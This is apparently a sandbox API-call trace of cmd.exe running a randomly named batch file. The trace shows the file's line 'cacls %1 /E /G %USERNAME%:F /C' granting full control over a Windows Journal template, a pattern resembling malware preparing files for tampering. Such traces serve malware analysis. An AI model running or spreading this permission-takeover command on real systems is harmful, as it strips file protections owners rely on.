[0100.048] GetProcessHeap () returned 0xf0000 [0100.048] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xf4) returned 0x102e70 [0100.048] GetProcessHeap () returned 0xf0000 [0100.048] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x4008) returned 0x10ab18 [0100.048] GetProcessHeap () returned 0xf0000 [0100.048] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x4008) returned 0x10eb28 [0100.049] GetProcessHeap () returned 0xf0000 [0100.049] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x106b00 | out: hHeap=0xf0000) returned 1 [0100.049] GetConsoleOutputCP () returned 0x1b5 [0100.049] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0100.049] GetUserDefaultLCID () returned 0x409 [0100.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0100.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x39f7a8, cchData=128 | out: lpLCData="0") returned 2 [0100.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x39f7a8, cchData=128 | out: lpLCData="0") returned 2 [0100.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x39f7a8, cchData=128 | out: lpLCData="1") returned 2 [0100.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0100.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0100.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0100.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0100.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0100.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0100.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0100.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0100.051] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0100.051] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0100.051] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0100.052] GetProcessHeap () returned 0xf0000 [0100.052] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x0, Size=0x20c) returned 0x102f70 [0100.052] GetConsoleTitleW (in: lpConsoleTitle=0x102f70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.052] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0100.053] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0100.053] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0100.053] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0100.053] GetProcessHeap () returned 0xf0000 [0100.053] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x106b00 [0100.053] GetProcessHeap () returned 0xf0000 [0100.053] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x106b00 | out: hHeap=0xf0000) returned 1 [0100.055] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0100.055] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0100.055] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0100.055] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0100.055] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0100.055] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0100.055] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0100.055] GetProcessHeap () returned 0xf0000 [0100.055] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x58) returned 0x103188 [0100.055] GetProcessHeap () returned 0xf0000 [0100.055] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x72) returned 0x112b50 [0100.056] GetProcessHeap () returned 0xf0000 [0100.056] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x84) returned 0x1031e8 [0100.057] GetConsoleTitleW (in: lpConsoleTitle=0x39f4a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.057] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0100.057] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0100.057] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0100.057] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0100.057] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0100.057] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0100.057] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0100.057] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0100.058] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0100.058] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0100.058] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0100.058] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0100.058] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0100.058] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0100.058] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0100.058] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0100.058] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0100.058] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0100.058] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0100.058] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0100.058] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0100.058] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0100.058] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0100.058] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0100.058] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0100.058] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0100.058] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0100.058] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0100.058] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0100.058] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0100.058] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0100.058] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0100.058] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0100.058] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0100.058] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0100.058] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0100.058] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0100.058] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0100.058] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0100.058] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0100.058] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0100.058] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0100.058] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0100.059] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0100.059] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0100.059] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0100.059] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0100.059] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0100.059] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0100.059] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0100.059] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0100.059] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0100.059] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0100.059] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0100.059] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0100.059] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0100.059] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0100.059] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0100.059] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0100.059] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0100.059] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0100.059] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0100.059] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0100.059] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0100.059] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0100.059] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0100.059] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0100.059] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0100.059] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0100.059] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0100.059] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0100.060] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0100.060] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0100.060] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0100.060] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0100.060] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0100.060] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0100.060] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0100.060] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0100.060] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0100.060] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0100.060] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0100.060] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0100.060] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0100.060] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0100.060] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0100.060] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0100.060] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0100.060] GetProcessHeap () returned 0xf0000 [0100.060] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x210) returned 0x103278 [0100.060] GetProcessHeap () returned 0xf0000 [0100.060] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xee) returned 0x103490 [0100.061] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0100.061] GetProcessHeap () returned 0xf0000 [0100.061] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x418) returned 0xf07f0 [0100.062] SetErrorMode (uMode=0x0) returned 0x0 [0100.062] SetErrorMode (uMode=0x1) returned 0x0 [0100.062] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0xf07f8, lpFilePart=0x39efc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39efc0*="Desktop") returned 0x25 [0100.062] SetErrorMode (uMode=0x0) returned 0x1 [0100.062] GetProcessHeap () returned 0xf0000 [0100.062] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0xf07f0, Size=0x6e) returned 0xf07f0 [0100.062] GetProcessHeap () returned 0xf0000 [0100.062] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0xf07f0) returned 0x6e [0100.062] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0100.062] GetProcessHeap () returned 0xf0000 [0100.062] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x5a) returned 0x103588 [0100.062] GetProcessHeap () returned 0xf0000 [0100.062] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xa8) returned 0x1035f0 [0100.062] GetProcessHeap () returned 0xf0000 [0100.062] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x1035f0, Size=0x5a) returned 0x1035f0 [0100.062] GetProcessHeap () returned 0xf0000 [0100.062] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x1035f0) returned 0x5a [0100.062] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0100.062] GetProcessHeap () returned 0xf0000 [0100.062] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xe0) returned 0xf0868 [0100.065] GetProcessHeap () returned 0xf0000 [0100.065] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0xf0868, Size=0x76) returned 0xf0868 [0100.065] GetProcessHeap () returned 0xf0000 [0100.065] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0xf0868) returned 0x76 [0100.065] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.066] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x39ed5c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed5c) returned 0x103658 [0100.066] GetProcessHeap () returned 0xf0000 [0100.066] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x0, Size=0x14) returned 0x103698 [0100.066] FindClose (in: hFindFile=0x103658 | out: hFindFile=0x103658) returned 1 [0100.066] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0100.066] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0100.066] GetConsoleTitleW (in: lpConsoleTitle=0x39f234, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.066] GetProcessHeap () returned 0xf0000 [0100.066] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x11c) returned 0xf08e8 [0100.066] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0100.067] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0100.067] IdentifyCodeAuthzLevelW () returned 0x1 [0100.073] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0100.073] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0100.073] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0100.073] CloseCodeAuthzLevel () returned 0x1 [0100.073] SetErrorMode (uMode=0x0) returned 0x0 [0100.073] SetErrorMode (uMode=0x1) returned 0x0 [0100.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x103280, lpFilePart=0x39f120 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x39f120*="Bt3xnwko.bat") returned 0x32 [0100.073] SetErrorMode (uMode=0x0) returned 0x1 [0100.074] GetProcessHeap () returned 0xf0000 [0100.074] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x72) returned 0x112bd0 [0100.074] wcsspn (_String=" \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"", _Control=" \x09") returned 0x1 [0100.074] GetProcessHeap () returned 0xf0000 [0100.074] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x82) returned 0xf1140 [0100.074] GetProcessHeap () returned 0xf0000 [0100.074] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xfc) returned 0x114b38 [0100.074] GetProcessHeap () returned 0xf0000 [0100.074] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x114b38, Size=0x84) returned 0x114b38 [0100.074] GetProcessHeap () returned 0xf0000 [0100.074] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x114b38) returned 0x84 [0100.074] CmdBatNotification () returned 0x1032e2 [0100.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x39f164, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0100.172] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0100.172] _get_osfhandle (_FileHandle=3) returned 0x78 [0100.172] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.172] _get_osfhandle (_FileHandle=3) returned 0x78 [0100.172] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.172] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x39f148, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x39f148*=0xe2, lpOverlapped=0x0) returned 1 [0100.173] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0100.173] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0100.174] _get_osfhandle (_FileHandle=3) returned 0x78 [0100.174] GetFileType (hFile=0x78) returned 0x1 [0100.174] _get_osfhandle (_FileHandle=3) returned 0x78 [0100.174] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0100.174] GetProcessHeap () returned 0xf0000 [0100.174] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x106b00 [0100.174] GetProcessHeap () returned 0xf0000 [0100.174] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x4008) returned 0x114bc8 [0100.175] GetProcessHeap () returned 0xf0000 [0100.175] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x1a) returned 0x105850 [0100.175] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0100.175] GetProcessHeap () returned 0xf0000 [0100.175] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105850 | out: hHeap=0xf0000) returned 1 [0100.175] GetProcessHeap () returned 0xf0000 [0100.175] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114bc8 | out: hHeap=0xf0000) returned 1 [0100.175] GetProcessHeap () returned 0xf0000 [0100.175] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x106b00 | out: hHeap=0xf0000) returned 1 [0100.175] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0100.175] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0100.175] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0100.176] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0100.176] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0100.176] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0100.176] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0100.176] GetProcessHeap () returned 0xf0000 [0100.176] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x58) returned 0xf11d0 [0100.176] GetProcessHeap () returned 0xf0000 [0100.176] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x14) returned 0xf1230 [0100.177] GetProcessHeap () returned 0xf0000 [0100.177] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xc4) returned 0x1041a0 [0100.178] _tell (_FileHandle=3) returned 32 [0100.178] _close (_FileHandle=3) returned 0 [0100.178] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39ef1c | out: _Buffer="\r\n") returned 2 [0100.179] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.179] GetFileType (hFile=0x7) returned 0x2 [0100.179] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0100.179] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eedc | out: lpMode=0x39eedc) returned 1 [0100.179] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.179] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39ef08, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39ef08*=0x2) returned 1 [0100.180] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0100.180] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0100.180] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x39ef18 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0100.180] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x39ef18 | out: _Buffer=">") returned 1 [0100.180] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.180] GetFileType (hFile=0x7) returned 0x2 [0100.180] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0100.180] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eee0 | out: lpMode=0x39eee0) returned 1 [0100.181] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.181] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x39ef0c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x39ef0c*=0x26) returned 1 [0100.181] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.181] GetFileType (hFile=0x7) returned 0x2 [0100.182] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0100.182] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f164 | out: lpMode=0x39f164) returned 1 [0100.182] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.182] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xf1238*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x39f190, lpReserved=0x0 | out: lpBuffer=0xf1238*, lpNumberOfCharsWritten=0x39f190*=0x5) returned 1 [0100.182] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x39f19c | out: _Buffer=" \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 94 [0100.182] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.182] GetFileType (hFile=0x7) returned 0x2 [0100.183] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0100.183] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0100.183] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.183] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x5e, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f188*=0x5e) returned 1 [0100.183] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39f1bc | out: _Buffer="\r\n") returned 2 [0100.183] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.183] GetFileType (hFile=0x7) returned 0x2 [0100.184] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0100.184] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f17c | out: lpMode=0x39f17c) returned 1 [0100.184] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.184] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f1a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f1a8*=0x2) returned 1 [0100.184] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0100.184] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0100.184] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0100.184] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0100.184] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0100.184] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0100.185] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0100.185] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0100.185] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0100.185] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0100.185] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0100.185] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0100.185] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0100.185] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0100.185] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0100.185] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0100.185] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0100.185] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0100.185] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0100.185] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0100.185] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0100.185] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0100.185] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0100.185] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0100.185] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0100.185] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0100.185] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0100.185] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0100.185] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0100.185] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0100.185] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0100.185] _wcsicmp (_String1="cacls", _String2="START") returned 